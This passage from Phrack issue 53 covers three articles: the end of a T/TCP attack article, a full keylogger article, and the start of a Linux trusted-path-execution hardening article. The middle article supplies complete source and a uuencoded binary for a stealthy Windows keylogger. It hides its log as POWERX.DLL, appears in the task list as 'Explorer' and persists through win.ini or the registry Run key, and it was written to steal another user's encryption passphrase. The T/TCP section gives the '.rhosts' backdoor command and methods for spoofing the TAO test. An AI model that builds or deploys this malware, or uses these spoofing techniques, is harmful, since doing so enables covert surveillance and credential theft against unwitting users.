m 1 2 > 1; TAO test succeeds

e 2 accept data ‑‑‑> (to application)

[ fig 1 ]

Initially (0) the client sends a TAO encapsulated SYN to the server, with a CC of 2. Since the CC value on the server for this client is 1 (indicating they have had previous T/TCP‑based communication) the TAO test succeeds (1). Since the TAO test was successful, the server can pass the data to application layer immediately (2). If the client's CC had not been greater than the server's cached value, the TAO test would have failed and forced the 3‑way handshake.

‑‑‑‑[ T/TCP TIME_WAIT truncation

Before we can see why it is ok to shorten the TIME_WAIT state, we need to cover exactly what it is and why it exists.

Normally, when a client performs an active close on a TCP connection, it must hold onto state information for twice the maximum segment lifetime (2MSL) which is usually between 60 ‑ 240 seconds (during this time, the socket pair that describes the connection cannot be reused). It is thought that any packet from this connection would be expired (due to IP TTL constraints) from the network. TCP must be consistent with its behavior across all contingencies and the TIME_WAIT state guarantees this consistency during the last phase of connection closedown. It keeps old network segments from wandering into a connection and causing problems and it helps implement the 4‑way closedown procedure. For example, if a wandering packet happens to be a retransmission of the servers FIN (presumably due to the clients ACK being lost), the client must be sure to retransmit the final ACK, rather then a RST (which it would do if it had torn down all the state).

T/TCP allows for the truncation of the TIME_WAIT state. If a T/TCP connection only lasts for MSL seconds or less (which is usually the case with transactional‑oriented connections) the TIME_WAIT state is truncated to as little as 12 seconds (8 times the retranmission timeout ‑ RTO). This is allowable from a protocol standpoint because of two things: CC number protection against old duplicates and the fact that the 4‑way closedown procedure packet loss scenario (see above) can be handled by waiting for the RTO (multiplied by a constant) as opposed to waiting for a whole 2MSL.

As long as the connection didn't last any longer then MSL, the CC number in the next connection will prevent old packets with an older CC number from being accepted. This will protect connections from old wandering packets (if the connection did last longer, it is possible for the CC values to wrap and potentially be erroneously delivered to a new incarnation of a connection).

‑‑‑‑[ Dominance of TAO

It is easy for an attacker to ensure the success or failure of the TAO test. There are two methods. The first relies on the second oldest hacking tool in the book. The second is more of a brutish technique, but is just as effective.

‑‑[ Packet sniffing

If we are on the local network with one of the hosts, we can snoop the current CC value in use for a particular connection. Since the tcp_ccgen is incremented monotonically we can precisely spoof the next expected value by incrementing the snooped number. Not only will this ensure the success of our TAO test, but it will ensure the failure of the next TAO test for the client we are spoofing.

‑‑[ The numbers game

The other method of TAO dominance is a bit rougher, but works almost as well. The CC is an unsigned 32‑bit number (ranging in value from 0 4,294,967,295). Under all observed implementations, the tcp_ccgen is initialized to 1. If an attacker needs to ensure the success of a TAO connection, but is not in a position where s/he can sniff on a local network, they should simply choose a large value for the spoofed CC. The chances that one given T/TCP host will burn through even half the tcp_ccgen space with another given host is highly unlikely. Simple statistics tells us that the larger the chosen tcp_ccgen is, the greater the odds that the TAO test will succeed. When in doubt, aim high.

‑‑‑‑[ T/TCP and SYN flooding

TCP SYN flooding hasn't changed much under TCP for Transactions. The actual attack is the same; a series of TCP SYNs spoofed from unreachable IP addresses. However, there are 2 major considerations to keep in mind when the target host supports T/TCP:

1) SYN cookie invalidation: A host supporting T/TCP cannot, at the same time, implement SYN cookies. TCP SYN cookies are a SYN flood defense technique that works by sending a secure cookie as the sequence number in the second packet of the 3‑way handshake, then discarding all state for that connection. Any TCP options sent would be lost. If the final ACK comes in, only then will the host create the kernel socket data structures. TAO obviously cannot be used with SYN cookies.

2) Failed TAO processing result in queued data: If the TAO test fails, any data included with that packet will be queued pending the completion of the connection processing (the 3‑way handshake). During a SYN flood, this can make the attack more severe as memory buffers fill up holding this data. In this case, the attacker would want to ensure the failure of the TAO test for each spoofed packet.

In a previous Phrack Magazine article, the author erroneously reported that T/TCP would help to alleviate SYN flood vulnerability. This obviously incorrect statement was made before copious T/TCP research was done and is hereby rescinded. My bad.

‑‑‑‑[ T/TCP and trust relationships

An old attack with a new twist. The attack paradigm is still the same, (readers unfamiliar with trust relationship exploitation are directed to P48‑14) this time, however, it is easier to wage. Under T/TCP, there is no need to attempt to predict TCP sequence numbers. Previously, this attack required the attacker to predict the return sequence number in order to complete the connection establishment processing and move the connection into the established state. With T/TCP, a packet's data will be accepted by the application as soon as the TAO test succeeds. All the attacker needs to do is ensure that the TAO test will succeed. Consider the figure below.

Attacker Server Trusted

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 ‑spoofed‑TAO‑>

1 TAO test succeeds

T 2 data to application

i 3 TAO‑response‑>

m 4 no open socket

e 5 RST‑‑‑‑‑‑‑

6 tears down connection

[ fig 2 ]

The attacker first sends a spoofed connection request TAO packet to the server. The data portion of this packet presumably contains the tried and true non‑interactive backdooring command `echo + + > .rhosts`. At (1) the TAO test succeeds and the data is accepted (2) and passed to application (where it is processed). The server then sends its T/TCP response to the trusted host (3). The trusted host, of course, has no open socket (4) for this connection, and responds with the expected RST segment (5). This RST will teardown the attacker's spoofed connection (6) on the server. If everything went according to plan, and the process executing the command in question didn't take too long to run, the attacker may now log directly into the server.

To deal with (5) the attacker can, of course, wage some sort of denial of service attack on the trusted host to keep it from responding to the unwarranted connection.

‑‑‑‑[ T/TCP and duplicate message delivery

Ignoring all the other weaknesses of the protocol, there is one major flaw that causes the T/TCP to degrade and behave decidedly NONTCP‑like, therefore breaking the protocol entirely. The problem is within the TAO mechanism. Certain conditions can cause T/TCP to deliver duplicate data to the application layer. Consider the timeline in figure 3 below:

Client Server

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 ‑‑TAO‑(data)‑‑‑>

1 TAO test succeeds

T 2 accept data ‑‑‑> (to application)

i 3 *crash* (reboot)

m 4 timeout (resends) ‑‑TAO‑(data)‑‑‑>

e 5 TAO test fails (data is queued)

6 established <‑SYN‑ACK(SYN)‑‑ fallback to 3WHS

7 ‑‑ACK(SYN)‑‑‑‑‑> established (data ‑‑> application)

[ fig 3 ]

At time 0 the client sends its TAO encapsulated data to the server (for this example, consider that both hosts have had recent communication, and the server has defined CC values for the client). The TAO test succeeds (1) and the server passes the data to the application layer for processing (2). Before the server can send its response however (presumably an ACK) it crashes (3). The client receives no acknowledgement from the server, so it times out and resends its packet (4). After the server reboots it receives this retransmission, this time, however, the TAO test fails and the server queues the data (5). The TAO test failed and forced a 3‑way handshake (6) because the servers CC cache was invalidated when it rebooted. After completing the 3‑way handshake and establishing a connection, the server then passes the queued data to the application layer, for a second time. The server cannot tell that it has already accepted this data because it maintains no state after a reboot. This violates the basic premise of T/TCP that it must remain completely backward compatible with TCP.

‑‑‑‑[ In closing

T/TCP is a good idea that just wasn't implemented properly. TCP was not designed to support a connectionless‑like paradigm while still maintaining reliability and security (TCP wasn't even designed with security in mind at all). T/TCP brings out too many problems and discrete bugs in TCP to be anything more then a novelty.

‑‑‑‑[ Appendix A: Internet hosts supporting RFC 1644

This information is ganked from Richard Steven's T/TCP homepage (http://www.kohala.com/~rstevens/ttcp.html). It is not verfied to be correct.

‑ www.ansp.br

‑ www.elite.net

‑ www.iqm.unicamp.br

‑ www.neosoft.com

‑ www.sbq.org.br

‑ www.uidaho.edu

‑ www.yahoo.com

‑‑‑‑[ Appendix B: Bibliography

1) Braden, R. T. 1994 "T/TCP ‑ TCP Extensions for Transactions...", 38 p 2) Braden, R. T. 1992 "Extending TCP for Transactions ‑ Concepts...", 38 p 3) Stevens, W. Richard. 1996 "TCP Illustrated volume III", 328 p 4) Smith, Mark. 1996, "Formal verification of Communication...", 15 p

A Stealthy Windows Keylogger

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 07 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ A Stealthy Windows Keylogger

‑‑‑‑‑‑‑‑[ markj8@usa.net

I recently felt the need to acquire some data being typed into Windows95 machines on a small TCP‑IP network. I had occasional physical access to the machines and I knew the remote administration password, but the files were being saved in BestCryptNP volumes, the passphrase for which I didn't know...

I searched the Net as best I could for a suitable keylogging program that would allow me to capture the passphrase without being noticed, but all I could find was I big boggy thing written in visual basic that insisted on opening a window. I decided to write my own. I wanted to write it as a VXD because they run at Privilege Level 0 and can do just about ANYTHING. I soon gave up on this idea because I couldn't acquire the correct tools and certainly couldn't afford to buy them.

While browsing through the computer section of my local public library one day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993. A quick flick through the Table of Contents revealed "Chapter 10: Real‑Time Events, Enhanced Mode Hardware Interrupts". I immediately borrowed the book and photocopied it (Sorry about the royalties Barry). As I read chapter 10 I realized that all I needed was a small 16 bit Windows program running as a normal user process to capture every keystroke typed into windows. The only caveat was that keystrokes typed into DOS boxes wouldn't be captured. Big deal. I could live without that. I was stunned to discover that all user programs in Windows share a single Interrupt Descriptor Table (IDT). This implies that if one user program patches a vector in the IDT, then all other programs are immediately affected.

The only tool I had for generating windows executables was Borland C Ver 2.0 which makes small and cute windows 3.0 EXE's, so that's what I used. I have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98 beta 3. It will probably work on Windows 3.x as well.

As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory called POWERX.DLL and record all keystrokes into it using the same encoding scheme as Doc Cypher's KEYTRAP3.COM program for DOS. This means that you can use the same conversion program, CONVERT3.C, to convert the raw scancodes in the log file to readable ASCII. I have included a slightly "improved" version of CONVERT3.C with a couple of bugs fixed. I contemplated incorporating the functionality of CONVERT3 into W95Klog, but decided that logging scancodes was "safer" that logging plain ASCII. If the log file is larger that 2 megabytes when the program starts, it will be deleted and re‑created with length zero. When you press CTRL‑ALT‑DEL (in windows95/98) to look at the Task List, W95Klog will show up as "Explorer". You can change this by editing the .DEF file and recompiling, or by HEX Editing the .EXE file. If anyone knows how to stop a user program from showing on this list please tell me.

To cause the target machine to run W95Klog every time it starts Windows you can:

1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such confusing name :) Warning! This will cause a nasty error message if WHLPFFS.EXE can't be found. This method has the advantage of being able to be performed over the network via "remote administration" without the need for both computers to be running "remote registry service".

2) Edit the registry key: (Win95/98) `HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create a new key called whatever you like with a string value of "WHLPFFS.EXE" or whatever. This is my preferred method because it is less likely to be stumbled upon by the average user and windows continues without complaint if the executable can't be found. The log file can be retrieved via the network even when it is still open for writing by the logging program. This is very convenient ;).

<++> EX/win95log/convert.c

//

// Convert v3.0

// Keytrap logfile converter.

// By dcypher <dcypher@mhv.net>

// MSVC++1.52 (Or Borland C 1.01, 2.0 ...)

// Released: 8/8/95

//

// Scancodes above 185(0xB9) are converted to "<UK>", UnKnown.

//

#include <stdio.h>

#define MAXKEYS 256

#define WS 128

const char *keys[MAXKEYS];

void main(int argc,char *argv[])

{

FILE *stream1;

FILE *stream2;

unsigned int Ldata,Nconvert=0,Yconvert=0;

char logf_name[100],outf_name[100];

//

// HERE ARE THE KEY ASSIGNMENTS !!

//

// You can change them to anything you want.

// If any of the key assignments are wrong, please let

// me know. I havn't checked all of them, but it looks ok.

//

// v‑‑‑ Scancodes logged by the keytrap TSR

// v‑‑‑ Converted to the string here

keys[1] = "<uk>";

keys[2] = "1";

keys[3] = "2";

keys[4] = "3";

keys[5] = "4";

keys[6] = "5";

keys[7] = "6";

keys[8] = "7";

keys[9] = "8";

keys[10] = "9";

keys[11] = "0";

keys[12] = "‑";

keys[13] = "=";

keys[14] = "<bsp>";

keys[15] = "<tab>";

keys[16] = "q";

keys[17] = "w";

keys[18] = "e";

keys[19] = "r";

keys[20] = "t";

keys[21] = "y";

keys[22] = "u";

keys[23] = "i";

keys[24] = "o";

keys[25] = "p";

keys[26] = "["; /* = ^Z Choke! */

keys[27] = "]";

keys[28] = "<ret>";

keys[29] = "<ctrl>";

keys[30] = "a";

keys[31] = "s";

keys[32] = "d";

keys[33] = "f";

keys[34] = "g";

keys[35] = "h";

keys[36] = "j";

keys[37] = "k";

keys[38] = "l";

keys[39] = ";";

keys[40] = "'";

keys[41] = "`";

keys[42] = "<LEFT SHIFT>"; // left shift ‑ not logged by the tsr

keys[43] = "\\"; // and not converted

keys[44] = "z";

keys[45] = "x";

keys[46] = "c";

keys[47] = "v";

keys[48] = "b";

keys[49] = "n";

keys[50] = "m";

keys[51] = ",";

keys[52] = ".";

keys[53] = "/";

keys[54] = "<RIGHT SHIFT>"; // right shift ‑ not logged by the tsr

keys[55] = "*"; // and not converted

keys[56] = "<alt>";

keys[57] = " ";

// now show with shift key

// the TSR adds 128 to the scancode to show shift/caps

keys[1+WS] = "["; /* was "<unknown>" but now fixes ^Z problem */

keys[2+WS] = "!";

keys[3+WS] = "@";

keys[4+WS] = "#";

keys[5+WS] = "$";

keys[6+WS] = "%";

keys[7+WS] = "^";

keys[8+WS] = "&";

keys[9+WS] = "*";

keys[10+WS] = "(";

keys[11+WS] = ")";

keys[12+WS] = "_";

keys[13+WS] = "+";

keys[14+WS] = "<shift+bsp>";

keys[15+WS] = "<shift+tab>";

keys[16+WS] = "Q";

keys[17+WS] = "W";

keys[18+WS] = "E";

keys[19+WS] = "R";

keys[20+WS] = "T";

keys[21+WS] = "Y";

keys[22+WS] = "U";

keys[23+WS] = "I";

keys[24+WS] = "O";

keys[25+WS] = "P";

keys[26+WS] = "{";

keys[27+WS] = "}";

keys[28+WS] = "<shift+ret>";

keys[29+WS] = "<shift+ctrl>";

keys[30+WS] = "A";

keys[31+WS] = "S";

keys[32+WS] = "D";

keys[33+WS] = "F";

keys[34+WS] = "G";

keys[35+WS] = "H";

keys[36+WS] = "J";

keys[37+WS] = "K";

keys[38+WS] = "L";

keys[39+WS] = ":";

keys[40+WS] = "\"";

keys[41+WS] = "~";

keys[42+WS] = "<LEFT SHIFT>"; // left shift ‑ not logged by the tsr

keys[43+WS] = "|"; // and not converted

keys[44+WS] = "Z";

keys[45+WS] = "X";

keys[46+WS] = "C";

keys[47+WS] = "V";

keys[48+WS] = "B";

keys[49+WS] = "N";

keys[50+WS] = "M";

keys[51+WS] = "<";

keys[52+WS] = ">";

keys[53+WS] = "?";

keys[54+WS] = "<RIGHT SHIFT>"; // right shift ‑ not logged by the tsr

keys[55+WS] = "<shift+*>"; //and not converted

keys[56+WS] = "<shift+alt>";

keys[57+WS] = " ";

printf("\n");

printf("Convert v3.0\n");

// printf("Keytrap logfile converter.\n");

// printf("By dcypher <dcypher@mhv.net>\n\n");

printf("Usage: CONVERT infile outfile\n");

printf("\n");

if (argc==3)

{

strcpy(logf_name,argv[1]);

strcpy(outf_name,argv[2]);

}

else

{

printf("Enter infile name: "); scanf("%99s",&logf_name);

printf("Enter outfile name: ");

scanf("%99s",&outf_name);

printf("\n");

}

stream1=fopen(logf_name,"rb");

stream2=fopen(outf_name,"a+b");

if (stream1==NULL || stream2==NULL)

{

if (stream1==NULL)

printf("Error opening: %s\n\a",logf_name);

else

printf("Error opening: %s\n\a",outf_name);

}

else

{

fseek(stream1,0L,SEEK_SET);

printf("Reading data from: %s\n",logf_name);

printf("Appending information to..: %s\n",outf_name);

while (feof(stream1)==0)

{

Ldata=fgetc(stream1);

if (Ldata>0

&& Ldata<186)

{

if (Ldata==28 || Ldata==28+WS)

{

fputs(keys[Ldata],stream2);

fputc(0x0A,stream2);

fputc(0x0D,stream2);

Yconvert++;

}

else

fputs(keys[Ldata],stream2);

Yconvert++;

}

else

{

fputs("<UK>",stream2);

Nconvert++;

}

}

}

fflush(stream2);

printf("\n\n");

printf("Data converted....: %i\n",Yconvert);

printf("Data not converted: %i\n",Nconvert);

printf("\n");

printf("Closeing infile: %s\n",logf_name);

printf("Closeing outfile: %s\n",outf_name); fclose(stream1);

fclose(stream2);

}

<‑‑>

<++> EX/win95log/W95Klog.c

/*

* W95Klog.C Windows stealthy keylogging program

*/

/*

* This will ONLY compile with BORLANDC V2.0 small model.

* For other compilers you will have to change newint9()

* and who knows what else :)

*

* Captures ALL interesting keystrokes from WINDOWS applications * but NOT from DOS boxes.

* Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3.

*/

#include <windows.h>

#include <string.h>

#include <stdlib.h>

#include <stdio.h>

#include <dos.h>

//#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP

#define LOGFILE "POWERX.DLL" //Name of log file in WINDOWS\SYSTEM

#define LOGMAXSIZE 2097152 //Max size of log file (2Megs)

#define HIDDEN 2

#define SEEK_END 2

#define NEWVECT 018h // "Unused" int that is used to call old

// int 9 keyboard routine.

// Was used for ROMBASIC on XT's

// Change it if you get a conflict with some

// very odd program. Try 0f9h.

/************* Global Variables in DATA SEGment ****************/

HWND hwnd; // used by newint9()

unsigned int offsetint; // old int 9 offset

unsigned int selectorint; // old int 9 selector

unsigned char scancode; // scan code from keyboard

//WndProc

char sLogPath[160];

int hLogFile;

long lLogPos;

char sLogBuf[10];

//WinMain

char szAppName[]="Explorer";

MSG msg;

WNDCLASS wndclass;

/***************************************

//

//__________________________

void interrupt newint9(void) //This is the new int 9 (keyboard) code

// It is a hardware Interrupt Service Routine. (ISR)

{

scancode=inportb(0x60);

if((scancode<0x40)&&(scancode!=0x2a)) {

if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active

// Now we have to flip UPPER/lower state of A‑Z only! 16‑25,30‑38,44‑50

if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))|| ((scancode>43)&&(scancode<51))) //Phew!

scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program

}//if CAPSLOCK

if(peekb(0x0040, 0x0017)&3) //if any shift key is pressed...

scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program

if(scancode==26) //Nasty ^Z bug in convert program

scancode=129; //New code for "["

//Unlike other Windows functions, an application may call PostMessage

// at the hardwareinterrupt level. (Thankyou Micr$oft!)

PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc()

}//if scancode in range

asm { //This is very compiler specific, & kinda ugly!

pop bp

pop di

pop si

pop ds

pop es

pop dx

pop cx

pop bx

pop ax

int NEWVECT // Call the original int 9 Keyboard routine

iret // and return from interrupt

}

}//end newint9

//This is the "callback" function that handles all messages to our "window"

//______________________________________

long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam) {

//asm int 3; //For Soft‑ice debugging

//asm int 18h; //For Soft‑ice debugging

switch(message) {

case WM_CREATE: // hook the keyboard hardware interupt

asm {

pusha

push es

push ds

// Now get the old INT 9 vector and save it...

mov al,9

mov ah,35h // into ES:BX

int 21h

push es

pop ax

mov offsetint,bx // save old vector in data segment

mov selectorint,ax // /

mov dx,OFFSET newint9 // This is an OFFSET in the CODE segment

push cs

pop ds // New vector in DS:DX

mov al,9

mov ah,25h

int 21h // Set new int 9 vector

pop ds // get data seg for this program

push ds

// now hook unused vector

// to call old int 9 routine

mov dx,offsetint

mov ax,selectorint

mov ds,ax

mov ah,25h

mov al,NEWVECT

int 21h

// Installation now finished

pop ds

pop es

popa

} // end of asm

//Get path to WINDOWS directory

if(GetWindowsDirectory(sLogPath,150)==0) return 0;

//Put LOGFILE on end of path

strcat(sLogPath,"\\SYSTEM\\"); strcat(sLogPath,LOGFILE);

do {

// See if LOGFILE exists

hLogFile=_lopen(sLogPath,OF_READ); if(hLogFile==‑1) { // We have to Create it

hLogFile=_lcreat(sLogPath,HIDDEN); if(hLogFile==‑1) return 0; //Die quietly if can't create LOGFILE

}

_lclose(hLogFile);

// Now it exists and (hopefully) is hidden....

hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business!

if(hLogFile==‑1) return 0; //Die quietly if can't open LOGFILE

lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file

if(lLogPos==‑1) return 0; //Die quietly if can't seek to end

if(lLogPos>LOGMAXSIZE) { //Let's not fill the harddrive...

_lclose(hLogFile);

_chmod(sLogPath,1,0);

if(unlink(sLogPath)) return 0; //delete or die

}//if file too big

} while(lLogPos>LOGMAXSIZE);

break;

case WM_USER: // A scan code....

*sLogBuf=(char)wParam;

_write(hLogFile,sLogBuf,1);

break;

case WM_ENDSESSION: // Is windows "restarting" ?

case WM_DESTROY: // Or are we being killed ?

asm{

push dx

push ds

mov dx,offsetint

mov ds,selectorint

mov ax,2509h

int 21h //point int 09 vector back to old

pop ds

pop dx

}

_lclose(hLogFile);

PostQuitMessage(0);

return(0);

} //end switch

//This handles all the messages that we don't want to know about

return DefWindowProc(hwnd,message,wParam,lParam);

}//end WndProc

/***************************************

int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance, LPSTR lpszCmdParam, int nCmdShow)

{

if (!hPrevInstance) { //If there is no previous instance running...

wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = WndProc; //function that handles messages

for this window class

wndclass.cbClsExtra = 0;

wndclass.cbWndExtra = 0;

wndclass.hInstance = hInstance;

wndclass.hIcon = NULL;

wndclass.hCursor = NULL;

wndclass.hbrBackground = NULL;

wndclass.lpszClassName = szAppName;

RegisterClass (&wndclass);

hwnd = CreateWindow(szAppName, //Create a window

szAppName, //window caption

WS_OVERLAPPEDWINDOW, //window style

CW_USEDEFAULT, //initial x position

CW_USEDEFAULT, //initial y position

CW_USEDEFAULT, //initial x size

CW_USEDEFAULT, //initial y size

NULL, //parent window handle

NULL, //Window Menu handle

hInstance, //program instance handle

NULL); //creation parameters

//ShowWindow(hwnd,nCmdShow); //We don't want no

//UpdateWindow(hwnd); // stinking window!

while (GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg);

DispatchMessage(&msg);

}

}//if no previous instance of this program is running...

return msg.wParam; //Program terminates here after falling out

} //End of WinMain of the while() loop.

<‑‑>

<++> EX/win95log/W95KLOG.DEF

;NAME is what shows in CTRL‑ALT‑DEL Task list... hmmmm

NAME Explorer

DESCRIPTION 'Explorer'

EXETYPE WINDOWS

CODE PRELOAD FIXED

DATA PRELOAD FIXED SHARED

HEAPSIZE 2048

STACKSIZE 8096

<‑‑>

<++> EX/win95log/W95KLOG.EXE.uue

begin 600 W95KLOG.EXE M35H"`08````$``\`__\``+@`````````0``````````````````````````` M````````````````````D````+H0``X?M`G‑(;@!3,TAD)!4:&ES('!R;V=R M86T@;75S="!B92!R=6X@=6YD97(@36EC<F]S;V9T(%=I;F1O=W,N#0HD```` M````````````3D4%"FT``@```````@,"```(H!\```$````"``(``@`,`$`` M4`!0`%P`8`#_```````)`````@@!``<``````P(`U05`#=4%!@`F`F$,)@(( M17AP;&]R97(````!``@```9+15).14P$55‑%4@``"$5X<&QO<F5R````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````K__P``"\!U`^G$

M`(P&%@")'AP`B38:`(D^&`")%AX`N/__4)K__P``,\`>![\"`;DF`BO/_/.J M,\!0FO__``#_‑A@`FO__```+P'4#Z8``M`#‑&HD6(`")#B(`M##‑(:,D`)K_ M_P``J0$`=`;'!A(`"`#WP@0`=`;'!A0``0",V([`O@(!OP(!Z$X`_S88`/\V

M&@#_‑A8`_S8<`/\V'@#H(0‑0Z‑`#C‑B.P+X"`;\"`>AG`/\6<@#_%G0`_Q9V M`+C__U":__\``(I&`K1,S2&P_U#HH0.T3,TAM/^+UXO>.]]T%R:`/_]T#"8X M9P%W!B:*9P&+TX/#!NOE.]=T&XO:)H`_`";&!_\&=`<F_U\"!^O')O]7`@?K MP,.T`(O7B]X[WW07)H`__W0,)CAG`7(&)HIG`8O3@\,&Z^4[UW0;B]HF@#\` M)L8'_P9T!R;_7P('Z\<F_U<"!^O`PU!345(&'E975;W__X[=B^RZ8`#LHC(! M@#XR`4!S=X`^,@$J='"X0`".P";V!A<`0'0O@#XR`0]V!X`^,@$:<AR`/C(! M'78'@#XR`2=R#H`^,@$K=@R`/C(!,W,%@#8R`8"X0`".P";V!A<``W0%@#8R M`8"`/C(!&G4%Q@8R`8'_‑A0!:``$H#(!M`!0:@!J`)K__P``75]>'P=:65M8 MS1C/75]>'P=:65M8SXS8D$55B^P>CMA6BW8,B\8]%@!U`^EE`7<0/0$`=!8] M`@!U`^E6`>EZ`3T`!'4#Z30!Z6\!8`8>L`FT‑<TA!EB)'C`!H^0!NO__#A^P M";0ES2$?'HL6,`&AY`&.V+0EL!C‑(1\'81YH1`%HE@":__\```O`=0<STC/` MZ3D!:%T`:$0!Z+("@\0$:&8`:$0!Z*8"@\0$'FA$`6H`FO__``"C.`&#/C@! M_W4<'FA$`6H"FO__``"C.`&#/C@!_W4',](SP.GP`/\V.`&:__\``!YH1`%J M`IK__P``HS@!@SXX`?]U!S/2,\#IRP#_‑C@!:@!J`&H"FO__``")%C8!HS0! M@SXV`?]U#H,^‑`'_=0<STC/`Z:``@SXV`2!\,7\'@SXT`0!V*/\V.`&:__\`

M`&H`:@%H1`'H?@&#Q`9H1`'H+P)$1`O`=`8STC/`ZVB#/C8!('X#Z3W_=4J# M/C0!`'8#Z3'_ZSZ*1@JB.@%J`6@Z`?\V.`'H#P*#Q`;K)U(>BQ8P`8X>Y`&X M"27‑(1]:_S8X`9K__P``:@":__\``#/2,\#K$O]V#E;_=@K_=@C_=@::__\` M`%X?74W*"@!5B^Q6BW8,@WX*`'0#Z98`QP86`0,`C`X:`<<&&`'__\<&'`$`

M`,<&'@$``(DV(`''!B(!``#'!B0!``#'!B8!``",'BX!QP8L`50`'F@6`9K_ M_P``'FA4`!YH5`!HSP!J`&@`@&@`@&@`@&@`@&H`:@!6:@!J`)K__P``HQ0! MZQ(>:`(!FO__```>:`(!FO__```>:`(!:@!J`&H`FO__```+P'7;H08!7EW" M"@!5B^Q=PU6+[.L*BQYX`‑'C_Y?F`:%X`/\.>``+P'7K_W8$Z!#\65W#58OL M@SYX`"!U!;@!`.L3BQYX`‑'CBT8$B8?F`?\&>``SP%W#58OLBTX(M$.*1@:+ M5@3‑(7(#D>L$4.@"`%W#58OL5HMV!`OV?!6#_EA^`[Y7`(DVH@"*A*0`F(OP

MZQ&+QO?8B_"#_B‑_Y<<&H@#__XDV$`"X__]>7<("`%6+[(M>!‑'C@:=Z`/_] MM$**1@J+7@2+3@B+5@;‑(7("ZP50Z)W_F5W#58OL5E?\BWX$'@>+US+`N?__ M\JZ‑=?^+?@:Y___RKO?1*_F']_?&`0!T`J1)T>GSI7,!I))?7EW#58OLM$&+ M5@3‑(7($,\#K!%#H3?]=PU6+[(M>!‑'C]X=Z```(=!.X`@!0,\`STE!2_W8$

MZ&C_@\0(M$"+7@2+3@B+5@;‑(7(/4(M>!‑'C@8]Z```06.L$4.@&_UW#&0`# M`0$``0!;``,!)0`!`!<``P$\``$`'@`#`44``@`%``,!9``!`(0``P'%``$`

M&``#`6($`@!L``,!4P0"`'(``P%*!`(`<0`#`3P$`@`I``,!%00"`#D`!0#B M`P$`!P(#`;D#`@!K``,!H0,"``8``P&:`P$`40`#`3(#`0!1``,!_0(!`%0` M`P'=`@$`50`#`=("`0!1``,!N`(!`%,``P&C`@$`50`#`74"`0"&``4`3P(!

M`%P!`P'M`0(`;@`"`&8!`@!4````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````#"X`17AP;&]R97(`7%‑94U1%35P`4$]715)8+D1,3```<@1R!'($```!

M(`(@`B`$H`*@_____________________________________P("

M!`4&"`@(%!4%$_\6!1$"_________________P4%____________________ M_P__(P+_#_____\3__\"`@4/`O___Q/__________R/_____(_\3_P``````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

M````````````````````````````````````````

!````

`

end

<‑‑>

‑‑‑‑[ EOF

Linux Trusted Path Execution redux

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 08 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Linux Trusted Path Execution Redux

‑‑‑‑‑‑‑‑[ Krzysztof G. Baranowski <kgb@manjak.knm.org.pl>

‑‑‑[ Introduction

The idea of trusted path execution is good, however the implementation which appeared in Phrack 52‑06 may be a major annoyance even to the root itself, eg. old good INN newsserver keeps most of its control scripts in directories owned by news, so it would be not possible to run them, when the original TPE patch was applied. The better solution would be to have some kind of access list where one could add and delete users allowed to run programs. This can be very easily achieved, all you have to do is to write a kernel device driver, which would allow you to control the access list from userspace by using ioctl() syscalls.

‑‑‑[ Implementation

The whole implementation consists of a kernel patch and an userspace program. The patch adds a new driver to the kernel source tree and performs a few minor modifications. The driver registers itself as a character device called "tpe", with a major number of 40, so in /dev you must create a char device "tpe" with major number of 40 and a minor number of 0 (mknod /dev/tpe c 40 0). The most important parts of the driver are:

a) access list of non‑root users allowed to run arbitrary programs (empty by default, MAX_USERS can be increased in include/linux/tpe.h),

b) tpe_verify() function, which checks whether a user should be allowed to run the program and optionally logs TPE violation attempts. The check if should we use tpe_verify() is done before the program will be executed in fs/exec.c. If user is not root we perform two checks and allow execution only in two cases:

